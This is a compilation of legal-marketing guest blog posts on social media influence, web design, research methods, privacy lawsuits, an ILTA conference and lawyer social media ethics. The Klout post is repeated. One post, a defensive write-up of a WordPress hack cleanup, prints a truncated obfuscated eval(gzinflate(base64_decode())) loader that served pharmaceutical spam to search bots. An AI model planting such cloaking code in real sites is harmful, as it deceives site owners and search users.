Many thanks to our Business of Law guest blogger Kevin Aschenbrenner of Jaffe PR who provided some truly useful information on how law firms can gauge the effectiveness of their social media programs. Read on….
One of the most frustrating aspects of actively working on law firm social mediaefforts is the feeling that you’re in a vacuum. You often can’t tell if anyone is listening. And, posting, “Do you think I’m awesome?” just won’t cut it.
This is why influence is such a hot topic in social media. Essentially, the more influence you have online the more likely it is that people will not only pay attention to you but also act on what you post. I talk more about influence in this blog post. Go ahead and read it. I’ll wait.
Welcome back. So, influence. It’s a good concept, but it’s a bit of a vicious circle – you need influence to have an impact online but you need to know what your influence is to use it to assess your law firm social media efforts. It makes my head hurt, too.
Or, it used to. Now there’s an online tool that will measure your influence. It’s called Klout (www.klout.com) and it ranks your online influence with a number out of 100. For an example, here’s a link to my Klout Score:http://klout.com/kevinaschenbren. As Klout Scores go, I’m not up there with Brian Solis (85) or Chris Brogan (84), but it’s respectable and, I’m within kissing distance of 50, which is the Klout Score required by a few hotels in Las Vegas in order to qualify for free upgrades (http://adage.com/digitalnext/post?article_id=146189).
But I digress. I’ve found Klout very helpful as a sort of diagnostic tool for my social media efforts. It’s not perfect and I quibble with some of the other information you get in your report, but it’s not a bad guidepost.
To find out your Klout Score:
Go to www.klout.com and type in your Twitter handle.
To see your entire report, I suggest creating an account. It’s free and gives you access to additional data and it will also ensure your score is refreshed regularly.
You can increase the accuracy of your Klout Score by linking your Facebook and LinkedIn accounts.
Check back periodically to see how your Klout Score is doing.
And, if you really want to have fun with your online influence, check out Empire Avenue (www.empireavenue.com). I’ll leave you to explore that one on your own.
One of the most frustrating aspects of actively working onlaw firm social mediaefforts is the feeling that you’re in a vacuum. You often can’t tell if anyone is listening. And, posting, “Do you think I’m awesome?” just won’t cut it.
This is why influence is such a hot topic in social media. Essentially, the more influence you have online the more likely it is that people will not only pay attention to you but also act on what you post. I talk more about influence inthis blog post. Go ahead and read it. I’ll wait.
Welcome back. So, influence. It’s a good concept, but it’s a bit of a vicious circle – you need influence to have an impact online but you need to know what your influence is to use it to assess your law firm social media efforts. It makes my head hurt, too.
Or, it used to. Now there’s an online tool that will measure your influence. It’s called Klout (www.klout.com) and it ranks your online influence with a number out of 100. For an example, here’s a link to my Klout Score:http://klout.com/kevinaschenbren. As Klout Scores go, I’m not up there with Brian Solis (85) or Chris Brogan (84), but it’s respectable and, I’m within kissing distance of 50, which is the Klout Score required by a few hotels in Las Vegas in order to qualify for free upgrades (http://adage.com/digitalnext/post?article_id=146189).
But I digress. I’ve found Klout very helpful as a sort of diagnostic tool for my social media efforts. It’s not perfect and I quibble with some of the other information you get in your report, but it’s not a bad guidepost.
To see your entire report, I suggest creating an account. It’s free and gives you access to additional data and it will also ensure your score is refreshed regularly.
You can increase the accuracy of your Klout Score by linking your Facebook and LinkedIn accounts.
Check back periodically to see how your Klout Score is doing.
And, if you really want to have fun with your online influence, check out Empire Avenue (www.empireavenue.com). I’ll leave you to explore that one on your own.
Every time I hear someone in marketing or advertising talk about “best practices” for website design, I roll my eyes.
Now granted, many of the do’s and don’t’s of web design have merit. They’ve been tried, tested and proven to work. And I believe that certain best practices such as ease of navigation, making good use of white space, ensuring that site text is easy to read and building for fast loading times are sarcosanct. But I also believe that best practices are helping to hold marketers back.
The problem I have with best practices is that while they are there to guide everyone in website design, they also cause everyone to look pretty much the same. Adherence to best practices tends to create a formulaic, templated approach to website design. The logos, colors and images on various sites may differ, but they mirror one another in their composition–i.e. logos in the upper left, navigation at the top, copy centered or aligned to the right, vertical scrolling, etc. They’re design conventions that definitely work, but make for few standout websites.
“Okay,” I can hear you saying, “that’s all well and good. But I’m a law/accounting/financial services firm. My site has to be functional, and it should stand out because of my message, not because it looks cool and creative.” All true. But in order to read your message, your site has to be noticed first. While I’m not advocating that professional services firms push the boundaries of convention just for the sake of being different, there are a few rules you can break (or at least bend) in order to make your site stand out from the competition.
Go Horizontal
While usability studies show that most website users prefer to scroll and read text vertically, most of those studies were conducted years ago prior to the ubiquitousness of touch screens, widescreen monitors and many other developments we now take for granted. For touch screens like those on the iPhone/iPad, horizontal navigation is the preferred form of navigation because it’s more ergonomic to move your hand from side to side than up and down. In the case of monitors, screen resolutions have gotten better. We used to design for 1024 x 768 screen resolutions. Now, many screens have resolutions that are 1440 x 900 and they’re much wider, which means that viewers get more real-estate horizontally than they do vertically.
I also think–and this is strictly my opinion–that our brains are better wired to consume information horizontally. Maybe it’s because we’ve been doing it that way offine for so many years. Books are read with a horizontal flip, galleries place paintings and photographs alongside each other, and most of our world is organized horizontally rather than vertically–i.e. our houses are next to each other and we move through the world in a mostly linear fashion.
Chart a New Course
Navigation buttons and links should always be easy to find, but do they always need to be at the top or along the sides of the page? And do they always have to be “buttons”? Unconventional navigation–as long as its easy to find and figure out–has the ability to engage the audience and keep them on your site. A good example of navigation that breaks with traditional design and works well is from the web design firm Hello Goodlooking in Helsinki, Finland:
Here, the navigation buttons are centered on the page and move to the sides when you click on them and open a window. They’re easy to see, easy to understand and make the site simply downright fun to navigate.
Shift Your Perspective
Right-aligned page content is often not seen in a world of centered or left-aligned web pages. Whenever I come across a page that is aligned uniquely, I have to pause and take a second look. It’s a simple (and safer) way to look unique without having to deviate from other conventions of website design.
Be Bold
Using reversed type, multiple typefaces and unique fonts is generally frowned upon in website design. Yet sites that do all or some of these things tend to grab a lot of attention–and not necessarily for all the wrong reasons. And you don’t have to be a kooky design firm to do it. Morrison Foerster is a law firm whose website is truly unique within the industry. No images, just type–and mostly reversed type, at that. Big, bold headlines. A conversational tone. And don’t even get me started on their careers site, which has to be one of the best in any industry. Most law firms make claims to be different and innovative. MoFo’s website backs it up.
Sometimes breaking with best practices is worthwhile. In fact, I’ll go so far as to say that it’s the only way to truly stand out. Striving for innovative design and a better way of web browsing has brought about some great changes in the last decade. Being different to be better is a perfect example of when the rules of best practices should be broken.
Sometimes, when it comes to opinion research, what you see is not necessarily what you get. For instance, focus group moderators can inadvertently (or purposely) create bias among recipients. Or when questioned about buying habits or intentions, people may tell questioners what they want to hear, rather than what they actually feel.
I can’t count the number of times I’ve cautioned against considering all research valuable or even accurate. But there are ways to ensure that your findings are sound when undertaking research among your clients, your organization members or your markets.
Here are five tips for making sure the research your firm is using is useful:
1. Know your Goals
I know you’re thinking, “Of course, we need goals!” but, alas, research can be initiated for nutty reasons. My personal favorite: “Everyone else is doing it.” That everyone else is doing it may make initiating a new study an excellent recommendation, but you still must match your research goals to your business goals. Do you define success by a measurable return on the research investment, or do you just want to touch your most loyal clients? Are you trying to guide or justify a specific marketing expenditure or, more loosely, gauge awareness in a particular market? Knowing what you want to achieve is crucial to obtaining the data you need. Detailing the specific information you want to know, even using hypothetical statements of finding, can help you to make your objectives clear. In this case, the cart (what you wish to carry away from the research) truly comes before the horse.
2. Fully Define Your Target Audience
Do you put stock in those general market studies that “rank” your business better or worse than others? Syndicated studies are great gossip and provide fodder for your website’s homepage
(“We’re #1 in reputation for excellence for the third straight year!”), but there is limited value in being considered number one for anything if those who provide the ratings do not purchase or even influence the purchase of your services.
When conducting research, or using research conducted by someone else, you need to ensure that respondents include individuals whose opinions you really need to know. Do you want to know what your top 25 clients think, your clients with the highest potential or your clients who seem to be fading away? Are you looking for guidance from prospects for a specific service, in a specific geographic area, or from a certain type of business? If existing research was conducted among exactly the right group of individuals–excellent! If not, you’ll need to conduct your own research to get what matters to you.
3. Select the Best Methodology
As popular as they are, focus groups are one of the most misused research methodologies. They are a qualitative research method, statistically invalid, which necessarily makes them ill-suited for drawing conclusions about habits or actions. Whether you conduct one session with 10 individuals or 10 sessions with a total of 100 individuals, they are never conclusive. Focus groups are, however, an excellent way to come up with ideas about proclivities or intent that can later be tested with quantitative surveys. Focus groups can help you discover undetected problems with an ad campaign, potential challenges of a new service offering, or the usability of a website design. But when you want to understand what is most important among a number of choices, what really drives client loyalty, or how to best position your business in a market—these objectives require a quantitative method that can provide the metrics you need.
4. Ask the Right Questions the Right Way
Another common problem with focus groups and other forms of research is how easily respondents can be led to particular responses, and how hard it is for them to accurately assess and report their own motivations. When you develop your discussion guide, in-depth questionnaire or survey instrument, you need to make sure the questions are not leading, that your respondents are not primed to answer in a particular way. (In fact, when conducting focus groups, I often ask participants to write down their initial impressions before discussion even begins.) For telephone or in-person interviews, make sure your interviewers are skilled in the techniques that will bring even subconscious motivations to the surface.
5. Interpret with Caution
How do you know if your findings are truly reliable? Even if you’ve clearly laid out your goals, comprehensively defined your target, picked the best methodology, designed an effective research instrument, and used excellent interviewers, the results can still be misleading if your interpretation of the findings is flawed. Reliable interpretation begins with proper analysis of the data, which requires understanding how the target population was selected and ensuring that your resultant data includes the information needed to feed your conclusions. Perhaps the most common problems are conducting quantitative analyses with too few responses, or having a response rate that is too low–both of which beg the question: How do the non-respondents differ from those who are included in the research?
So, is research misleading? It certainly can be, but by using these guidelines, you can take the necessary steps to ensure that your research will more accurately provide the information you need.
Two recent lawsuits allege that internet service providers violated users’ privacy by sharing “referrer data” containing potentially identifying information.
A former technologist with the Federal Trade Commission filed a privacy complaint(link via WSJ) against Google with his ex-employer. The complaint alleges that Google does not allow users to easily prevent transmission of information that allows website operators to determine the search terms used to access their sites. It claims that this constitutes a deceptive business practice by Google because “if consumers knew that their search queries are being widely shared with third parties, they would be less likely to use Google.”
According to the complaint, Google search URLs contain the user’s search terms, and when users click on a search result the webmaster of that site can see the terms used to access it. The complaint alleges that this conflicts with Google’sPrivacy Policy and cites to Google’s court admissions that search queries may reveal “personally identifying information” and that consumers trust Google to keep their information private.
Google has allegedly tested products that deleted search terms from the referrer data visible to webmasters but discontinued them after receiving complaints and posted reassurances that search terms would remain visible. Apparently Google now offers an SSL encrypted search engine at https://www.google.com which protects search terms from being intercepted, but the complaint notes that this is not the default setting and it is not linked from the regular Google site. It also notes that Google provides search term protection to Gmail users searching their inboxes.
The merits of the complaint may hinge on whether search terms should be considered “personal information.” The complaint notes that the New York Times was able to indentify supposedly anonymous AOL searchers in 2006 when AOL leaked a dataset of search queries.
The second suit alleges that, from February through May, Facebook transmitted referrer information to advertisers about users who clicked on their ads. It alleges violations of the federal Electronic Communications Privacy Act and Stored Communications Act as well as California computer privacy and unfair competition laws and common law claims of breach of contract and unjust enrichment.
The suit claims that “Facebook has caused users’ browsers to send Referrer Header transmissions that report the user ID or username of the user who clicked an ad, as well as the page the user was viewing just prior to clicking the ad . . . For example, if one Facebook user viewed another user’s profile, the resulting Referrer Headers would report both the username or user ID of the person whose profile was viewed, and the username or user ID of the person viewing that profile.”
As in the Google complaint discussed above, the plaintiffs allege that Facebooks actions violate its privacy policy (which allegedly states “we never share your personal information with our advertisers”) and other representations to users as well as state and federal privacy laws. The amended complaint may be stronger than the suit against Google because referring Facebook pages, unlike Google searches, are often highly personalized and contain the Facebook user’s name. Facebook allegedly stopped embedding referrer data in May after media accounts exposed the practice.
Although some tech executives have been quick to sound the death knell for online privacy, consumers – even those who are products of the Internet generation – continue to disagree. A recent poll shows that 85 percent of teens believe social media sites should obtain their permission before using their information for marketing purposes.
Excerpted from FVLD’s blog, http://www.postorperish.com, which regularly discusses these and other issues facing online publishers.
Attorneys who want to make time for social media among the competing demands of court deadlines, client meetings, and practice management can increase their online visibility with a few simple publishing techniques.
This article shows you how to create and implement a social media syndication plan that will increase your law firm’s Internet marketing visibility. Learn how you can develop and leverage your firm’s customized content to populate a broad range of social media outlets.
Common social media applications for lawyers include LinkedIn, Facebook, Twitter, and blogs. Broadly speaking, social media refers to any type of Internet and mobile-based tool for online networking, collaboration, and information sharing among web-based communities.
Getting Started With Social Media
Launching a social media campaign is actually quite simple. Signing up for LinkedIn, Twitter, and even a blog can be done in a few minutes. Momentum may quickly wane, however, when a busy attorney faces the on-going challenge of creating fresh content.
Start strategically by creating a 6-12 month editorial calendar. Let’s say you have an intellectual property law firm, encompassing several types of services. Pick one topic for each month.
Topics for three months of a calendar quarter could be: 1) copyright law; 2) patent protection; and 3) trademarks. Next, break each monthly topic down into four weekly supporting articles. For example, copyright law topics could be: a) fair use guidelines; b) protecting a copyright; c) international copyright issues; and d) negotiating licensing agreements.
Now that you have your calendar, you can start to write your articles in advance. Of course, the schedule can be interrupted or supplemented as needed to reflect breaking news. Each blog post should be at least 250-300 words, including strategic use of keywords to attract visitors through search engine marketing. Writing for the web actually means writing for both Google and your actual site visitors.
Leverage your Social Media News Feed
Select one primary point of publication for your social media news feed. A blog works well for this purpose through the use of the “RSS” feed. RSS is an acronym for “really simple syndication,” which means that your blog acts as a real-time news feed that can be used to distribute your content to other social media applications. Interested readers can also automatically subscribe to your blog using the RSS feed.
As a starting base, make sure all your social media accounts are properly set up and populated with a description of your law firm.
Plan to publish one main article from your editorial calendar to your blog at least once a week (more is better). It is fairly easy to use free services like HootSuite orNetVibes to then automatically transmit your blog posts to your Twitter, Facebook, and LinkedIn accounts. Alternatively, many social media services make it easy for you to automatically import blog posts by simply specifying the RSS feed within your profile.
You can easily extend your reach to multiple social media outlets without the need for additional time or effort when you leverage your original blog articles using these techniques.
Appoint a Social Media Manager
An essential ingredient in social media success is to put someone in charge of your campaign. Lawyers should be practicing law, so even the best laid plans for an attorney to manage a blog or other Internet marketing campaign will quickly fall to the wayside in the face of court and client demands. Look for a seasoned legal marketer with Internet marketing skills who understands the importance of complying with attorney advertising and other ethical guidelines to help manage your social media campaigns.
Business development through thought leadership marketing is a leading reason many attorneys are attracted to a blog and other social media services. The right legal marketing partner will understand strategic planning issues, the importance of keyword placement in blog posts, and the type of audience you wish to reach. They may even help you draft preliminary blog posts for your editing and publication.
Monitor Social Media Feedback
Social media is interactive, meaning that prospects and followers will comment on your posts and otherwise interact with your material. Prompt responses will make a favorable impression on your audience. In addition to publishing fresh content regularly, you will want to watch for direct comments, republication (like “retweets”), and independent commentary.
Margaret Grisdela is President of Legal Expert Connections, a national legal marketing agency serving law firms and litigation experts in the U.S. and internationally. She is the author of the legal marketing book “Courting Your Clients,” which presents a proprietary methodology for business development. An accompanying guide, the “Courting Your Clients Legal Marketing Playbook,” will be available to clients in November. Ms. Grisdela brings over 30 years of experience in marketing, publishing, and information technology to each engagement. She helps clients launch or expand successful practices in the legal field through integrated marketing programs including article placement, speaking, search engine optimized websites, publicity, and direct mail. A leader in professional organizations, she served as 2008 Co-Chair of the Legal Marketing Association South Florida City Group, and 2005 President of the Florida Direct Marketing Association. She holds a B.A. from Wayne State University and an MBA in Finance from The George Washington University. www.legalexpertconnections.com / 561-266-1030
It is common for law firm websites to speak about themselves with hyperbole. Self-important adjectives litter the site content. Firm’s with exceptional people are one-upped by those with truly exceptional people. Knowledge is only valid if it isgenuine. Experience, it seems comes in a variety of flavors as well. Some firms havewide experience. For others it is deep experience. But the most common benchmark of experience is that it be extensive. Does your firm claim extensive experience?
Now it’s not that I don’t believe it when I read of a professional’s extensive experience. It’s just that this really doesn’t tell me anything. Worse, it doesn’t tell me anything different from the next guy who also has extensive experience. In fact, I would argue, my baseline is extensive experience. Now tell me how you’re better.
If you Google the phrase “extensive experience” there are over 6 million website pages where this value is claimed. Using the search tool on several law firm websites, I discovered an “extensive experience” ratio of about 35% – 50% (# of appearances of “extensive experience”/attorney). So making this claim doesn’t so much separate one professional from the pack as much as it defines the pack. (Check your firm’s ratio and let me know!)
But the problem with this “extensive experience” language is not merely that it is linguistic laziness. Rather, this laziness results in failing to detail the richness, complexity and detail which this phrase references. And in so not doing, opportunities are lost for using this missing content. You won’t be found in a search engine because, frankly, nobody is looking for “extensive experience.” And you won’t be discovered in your site search because, well, almost half of all attorneys have the same vague amount of experience. And it is all extensive.
Yes, I understand that, often, considerable descriptive detail must be concealed for privacy considerations. Yeah, so? Content developers (copywriters) simply have to work harder to anonymize those involved. But, with a little effort, it is possible and essential to provide sufficient detail to make the stories comprehensible and relevant – and content rich.
Go the extra mile to gather the detail that elicits that sense of extensive experience. Boil it down to 3 to 5 cogent bullet points of industry and matter relevance. And post it. Your site visitor will have a better experience. This will result in more web pages consumed and possibly a longer time on the site with more opportunity for engagement. And search engines will devour the details for their ranking algorithms. And you know how I know this? I have extensive experience.
Sonny works closely with Duo’s clients to develop their online business and marketing strategy. His tactical responsiblities include: Implementing and managing paid search engine campaigns; Consulting on and implementing permission-based email; Providing strategic online marketing consultation to law firms and others using web analytics to help drive website and business performance and Conceputalizing and implementing social media marketing
Sonny has over 30 years of business management and marketing experience, He was a Serial entrepreneur and business marketer as an Apple Computer reseller; Internet partner in the business consulting firm Friedman, Eisenstein, Raemer and Schwartz; Director of Business Development for startup Primecom, an online e-commerce application service provider; and Director of Marketing for NextPart, Inc.. 312-529-3003 / www.duoconsulting.com
A helpful article for all Word Press Users out there from the National Law Review’s Business of Law weekly guest bloggers – Duo Consulting. Scott Frazer of Duo goes over a Spam issue that impacted Duo’s Blog and provides a detailed solution on how they fixed the problem!
Our blog was recently affected by a rather clever little hack, and when I went searching for ways to remove it, I couldn’t find much. Here’s a brief writeup of what happened and how I fixed it.
Our Director of Internet Marketing Strategy, Sonny Cohen, spends some of his time searching Google and other search engines for keywords relative to our business. He began noticing that some of those results, while they would return pointers to our blog, were laced with keywords and links to various male enhancement drugs. When I searched our blog for these references, I couldn’t find anything.
Here’s what I was seeing when I would search our blog for the phrase “test”:
But here’s what Google was seeing when it did the same search:
You may notice that the URL in that is to a local file. There are two ways you can see what your site looks like to Google. One is to change the User Agent on your browser to match that of the Googlebot. The other is to use the Webmaster Tool’s “Fetch As Googlebot” lab utility. I used the latter, and saved the resulting report as an HTML file and then opened that file in Chrome.
So why is Google seeing different results than anyone else who visits my site and runs that query? Something different must be happening when Google visits. I started running through the execution path of WordPress. The first file that is accessed is index.php. All this file does is turn on a theming variable and load wp-blog-header.php. So I moved on to that file. It looked like this:
temp.php? Never heard of it, let’s see what’s inside:
eval (gzinflate(base64_decode(
‘vVhtc9pGEP6emfwHRfUUmGLg9IbkhNrUJrZnEsfFOGmKXc1ZOoMmQqInYYea/Pfu’
.’nnjRG6aZzNRj0Em7++yzu3erOw5/fXM4HU9fvnj5Ym8cRnFnz77q9T/2+sPK2WBw’
…snip for length…
.’6reTZEAXdDrl4QNzE/3F3Wy+iKjPxFe0gH7G+ML1IiecBfHiY+LyWLhsVmDlrQ7g’
.’cvonDPkW65UOKh6zCWuM44kvFr6Ialmvw1/fHP4L’
)));
Now that looks evil. Obfuscated code can’t be good. I decided to see what it does by replacing the “eval” with “print” and then I ran “php test.php” from that directory. The results are very long, but you can see them here.
Basically, the program tries to determine if we are a real person or a search engine bot by looking at things like our IP address and our user agent. If it determines we are human, it goes ahead and returns the standard header. If we’re a bot, it serves the content in “theme.html” which is identical to the second screenshot above.
So to clean things up, I removed the reference to temp.php from wp-blog-header.php, deleted the file temp.php and deleted the file theme.html.
Scott supervises Duo’s network facilities, monitoring hardware and software, analyzing problems and ensuring that the network is fully operational. He works closely with clients to identify, interpret and evaluate their system requirements. He also provides the front-line defense of the Duo network by planning, coordinating and implementing network security measures. An avid Mac user, Scott is nonetheless happy to keep Duo’s servers running on Windows Server 2003 and Ubuntu Linux.
Scott has been working in network administration with Internet companies for over ten years. He has experience designing and maintaining networks and server farms for high-traffic sites in both the hosting and e-commerce arenas. As the senior system administrator for MusicToday, an online ticketing, merchandise and fan club portal, he was responsible for the stability and security of large-volume e-commerce sites, including websites for the Rolling Stones, the Grateful Dead and the Dave Mathews Band. www.duoconsulting.com / 312-529-3006
The National Law Review’s Business of Law featured blogger is Kristyn J. Sornat of the International Legal Technology Association (ILTA) – who was a panelist at ILTA’s recent annual conference in Las Vegas. Kristyn recaps some of the valuable information she picked up at the conference. Read On:
For the past several years, the International Legal Technology Association (ILTA) has included a one-day marketing technology track at their annual conference. While the track originally focused on client relationship management (CRM) software (namely InterAction), it has grown to include all things related to marketing technology. This year there were four sessions:
I. Web Analytics and Search Engine Optimization: Smart Strategies
II. Using Technology for Successful Events
III. ERM and CRM: Compare and Contrast
IV. Marketing Technology Roundtable
I. Web Analytics and Search Engine Optimization: Smart Strategies
In order to stay competitive it is important that law firms utilize a search engine optimization (SEO) strategy to help improve their rankings in both branded and non-branded searches performed on Google, Yahoo, Bing, etc. This session focused on changes firms can make to their websites to support their SEO goals, including:
Eliminate pages with duplicate content
Name URL’s rather than using numbers
Add metadata to all pages
Create links between pages on your site and use meaningful phrases to describe the content to which you are linking (not just “click here”)
Seek inbound links to pages on your site from reputable sources
Push out your content as much as possible through e-mail distributions, RSS feeds, social media and syndication services – such as the National Law Review.
Also, the session covered the importance of using web analytics to track how your website is performing and whether the changes implemented are successful. Several free web analytics tools are available, including Google Analytics, Yahoo! Web Analytics and Piwik.
This session focused on the increasing importance of e-mail communications for events and tools available to manage those communications. Two e-mail platforms were mentioned that link directly to CRM software: Tikit eMarketing andConcep. The Tikit eMarketing solution requires your firm to have in-house resources to design and send e-mails through your own server. The Concep solution involves a third-party vendor that aides in template design and uses its own servers to distribute your e-mails.
Important things to remember regarding invitations and RSVP forms:
Include disclaimers, the firm’s address and an unsubscribe link (important to comply with CAN-SPAM).
Apply alt tags for all images.
Use a combination of images, background color and text, rather than one big image for your invitation.
Link to a survey in your invitation to find out what people are interested in hearing about.
Link to a survey in your post-event follow-up e-mails to gauge the response of the audience, find out what else they would have liked to learn and their interest in future events.
Cross-market events in appropriate client alerts and other news-like e-mail distributions.
Personalize the e-mail with the recipient’s name in the subject line or body of the e-mail for a better response rate.
Use social media to promote the event to an audience who may not already be familiar with your firm.
III. ERM and CRM: Compare and Contrast
This topic turned into a hot debate among the panelists and drew a large crowd of enterprise relationship management (ERM) and CRM vendors who were anxious to hear how their solutions would be discussed. There were three panelists from different law firms, one with only an ERM solution, one with only a CRM solution and one with both solutions in place. One of the main functions of both ERM and CRM software is tracking “who knows who” among your clients, prospects and referral sources. ERM gathers this information by monitoring e-mail traffic and possibly phone calls of your employees and brings that information into the system automatically. Most CRM systems pull this information from address books in Outlook (and other e-mail systems) and require more active participation from attorneys to be successful.
The message from the panel was that every firm is different, and selecting one or both solutions depends on the culture of your firm and its needs. If you have attorneys who won’t take the time to share their contacts through CRM software and will not object to the information being pulled automatically, an ERM solution may work for you. If you have attorneys who are concerned about privacy and want to be able to do more (such as track business development efforts, e-mail marketing lists and client information), the CRM option is the way to go. If you have a combination of needs, you might look into implementing both solutions.
During the presentation, the panelists were careful not to mention what vendors they used, but did supply the following list of ERM and CRM providers that to cater to the law firm market.
IV. Marketing Technology Roundtable / Hot Trends in Law Firm Marketing Technology
In the fourth session, all panelists from the previous sessions returned to answer audience questions about marketing technology. The first thing discussed was what’s hot or new in the market. Below are some of the advances that are happening now or may be coming your way in the near future.
Websites: Looking at the future of law firm websites, the group saw many changes on the horizon. One panelist described a recent demo she attended from Saturno Design that featured a new tool that essentially sets up a “mapping” feature to deliver customized content to each visitor based on what they viewed during prior visits to your site. Several panelists also predicted a blurring between the traditional law firm site and social media. Examples included pulling content from LinkedIn profiles for attorney bios or replacing the traditional newsletter and alert sections with blogs.
Video:Video was a hot topic throughout the sessions. Many firms have already begun to use this medium on their websites and in their electronic communications, adding a human element that was not possible before. Mary Tomaro, Web and Interactive Marketing Manager for Jones Day, said videos on their website have become quite popular. An important note, if your firm is comfortable using YouTube to host its videos, there are two benefits to this approach: 1) you can save the cost of purchasing software to host them yourself, and 2) you can increase the reach of the videos, as they can be spread virally and are more easily found by search engines.
Mobile Apps: To date, only a select few firms have released applications for use on mobile devices. The panelists saw this as an increasingly important trend as users move away from traditional desktop computers and use their mobile devices and other tools, such as iPads, to search for and read content. Read a blog post describing the recent success of Morrison & Foerster’s iPhone app.
Social Media: Although social media may not be a new tool, many firms have yet to establish a usage policy or firmwide strategy. As you iron out how your firm will utilize social media, keep in mind that relevance is more important than reach – it doesn’t matter if you have 2,000 Twitter followers if the content you give them doesn’t resonate.
Kristyn is Marketing Technology Specialist at Chicago-based Much Shelist. She is responsible for the firm’s CRM database (InterAction), electronic marketing campaigns (from basic HTML design through distribution and analytics) and social media strategy. She also has various duties related to the firm’s Web site, including search engine optimization and Web analytics interpretation. Kristyn was recognized by the International Legal Technology Association (ILTA) with a 2010 Distinguished Peer Award for outstanding achievements in marketing technology at the organization’s annual conference. She has nearly five years of marketing technology experience in a law firm environment.
The National Law Review’s featured Business of Law Guest Blogger Meredith L. Williams of Baker Donelson Bearman Caldwell & Berkowitz, PC outlines some very real concerns for lawyers and law firms related to social media and state bar assocation guidelines. Ms. Williams also offers some very concrete Do’s and Don’t on how to address these concerns. Read on….
Today, social media encompasses a broad sweep of online activity, all of which is trackable and traceable. These networks include not only the blogs you write and those to which you comment, but also social networks. Each day brings new online tools and new advances introduce new opportunities to build your virtual footprint.
As a law firm, social media can help drive business initiatives and support professional development efforts. In basic business terms social media can be considered the least expensive form of large scale advertising. However, social media is not exclusively used for business by law firm employees. When it comes to expressing opinions about anything having to do with the law, firm employees are in a position that requires limitations and have certain limitations. Statements in public forums may inadvertently create an attorney-client relationship, and they may also violate the rules prohibiting law firm advertising. The wrong communication can be construed as exposing firm or client secrets; invasion of privacy and defamation; trademark violations; and may even lead to wrongful termination claims. Therefore, a law firm must attempt to provide reasonable guidelines for online behavior by members of the firm.
The following are five (5) ethical areas that all law firms should address when drafting internal social media policies. These can also be utilized by law departments when dealing with lawyer and non-lawyer employees. All of these rules are simply an extension of model rules of professional conduct & state rules of ethics. The over arching principles should remain the same as new social media sites and technologies emerge.
Advertising (Model Rule of Professional Conduct 7.2)
Marketing and advertising are key functions for any business survival. However, lawyers, especially in law firms, are held to a higher standard when advertising through electronic means. Model Rule of Professional Conduct 7.2[1] states a lawyer or law firm may advertise through written, recorded or electronic means. This includes all social media sites.
Quick Reference
Do
Have any personal or professional social media site as desired.
Use appropriate disclaimers as needed.
Do NOT
Use the organization’s name or email address on a personal site unless using the appropriate disclaimers.
Use the organization’s assets to update personal sites.
Example: A law firm creates a site on Facebook, MySpace, LinkedIn, Twitter, etc. using the firm name. Is this advertising?
Example: An employee of a law firm uses the firm name or firm email address on their personal Facebook site. Is this advertising?
State ethics boards consider the true crux of the advertising issue to be not who creates the site or the intent of the site but rather whether or not the site can be considered to be used for professional use. If being used for professional use, social media presence and communication can be considered to fall within the advertising rules.
Below are a few guidelines to include in firm policies to teach your employees (lawyers and non-lawyers) how not to create a professional site unless intended.
Employees should not associate the firm name or firm email address with the site unless it is intended for professional use. This includes stating they are an employee of the law firm.
Do not use firm assets to update personal sites. This includes any law firm owned laptop or computer, I-Phone or blackberry, firm IP address and email address. Using the firm email address implies the employee is acting on the firm’s behalf.
Create an advertising disclaimer to help employees specifically state their use is personal or professional.
This subject is difficult to approach with employees. Many will argue it is the same as verbally telling someone they work at a specific law firm. However, state boards have compared the online activity to a law firm website vs. verbal communication. The best approach is helping employees understand how not to blur the lines of professional/ personal sites for their own protection. As an employer, you want employees to continue using social media sites to broaden and help promote the firm brand. However, you only want them to do it in the most ethical way.
Attorney-Client Relationship (Model Rule of Professional Conduct 1 Series)
The attorney-client relationship is one of the oldest legal ethical standards. It creates a certain set of duties the lawyer owes the client. The model rules of professional conduct set forth a series of guidelines that help regulate the creation and existence of this important relationship. In the electronic world, especially when utilizing social media, the important issue is whether any electronic communication creates an attorney-client relationship inadvertently.
Quick Reference
Do
Post non-legal comments, blogs, etc. on any personal or professional site.
Use appropriate disclaimers as needed.
Do NOT
Post legal advice.
“Friend” anyone on a professional site unless previously corresponded or known.
“Friend” a Judge on a professional site.
Example: A lawyer of firm ABC is blogging on a social media site regarding new tax laws. A non-client comments to the blog inquiring about his specific tax situation. The lawyer in turn comments again discussing how the new tax laws apply to the non-client. Has an attorney-client relationship been created?
Law firms presently use disclaimers for emails and firm websites to verify no implied relationship is created. But how do we instruct employees to this standard when social media sites are interactive by nature? Below are a few key policy guidelines to help employees navigate this difficult area.
Employees should never post legal advice. This does not mean employees cannot comment or post to social media sites. It only relates to publishing or posting that could be construed as legal advice or opinion. If the subject matter is related to a legal or ethical situation, attorneys and staff may only discuss the legal standards but not apply those standards to any particular fact situation.
Firms should provide a disclaimer for employees to utilize when posting or commenting on professional social networking sites.
When using social networks with firm e-mail and professional identification, employees should not “friend” anyone they do not know and/or with whom they have not previously corresponded.
Some states have even gone so far as to also state that lawyers and judges cannot be “friends” on any professional social media sites. State ethics rules should be consulted prior to drafting any policy.
Client Confidentiality (Model Rule of Professional Conduct 1.6)
Client confidentiality and business privacy are two of the largest concerns of employers when dealing with social media communication. Generally, a lawyer shall not reveal information relating to the representation of a client unless the client gives informed consent. In addition, privacy of the organization, the business processes, the firm brand and the IP of the firm are key for business continuity.
Quick Reference
Do
Discuss job generically
Avoid uncontrolled forums.
Be respectful of other’s and the company’s privacy.
Get approval when responding to negative requests.
Do NOT
Discuss job specifics.
Use the client’s name.
Disclose specifics related to the business.
Disclose confidential information.
Upload law firm contacts onto a social media site.
Example: A lawyer begins discussing a case he is handling on his personal Facebook blog. Although not referencing the client name, details of the case are discussed. Has the client confidentiality been broken?
Example: A law firm employee tweets about a firm staff meeting discussing salary and new hires. Has the privacy of business been destroyed?
Law firms must address confidentiality and privacy standards in social media policies. In addition, consequences for breaking these standards should also be detailed. Below are a few policy considerations to navigate this area.
Employees should never use a client’s name unless written permission has been received.
Employees should never disclose confidential or private business information. Sharing this type of information, even unintentionally, can result in legal action against the employee, the firm, and/or the client.
Outside the workplace, rights to privacy and free speech protect online activity conducted on personal social networks used with personal email addresses. However, what is published on personal online sites should never be attributed to the firm and should not appear to be endorsed by or originated from the firm.
Employees should avoid forums where there is little control over what is known to be confidential information. In the world of social networking, there is often a breach of confidentiality when someone emails an attorney or posts a comment congratulating him/her on representation of a specific client or on a specific case.
Respect the privacy of other employees and of the opinions of others. Before sharing a comment, post, picture, or video about a client or other employee through any type of social media or network, his/her consent is not only a courtesy, it is a requirement.
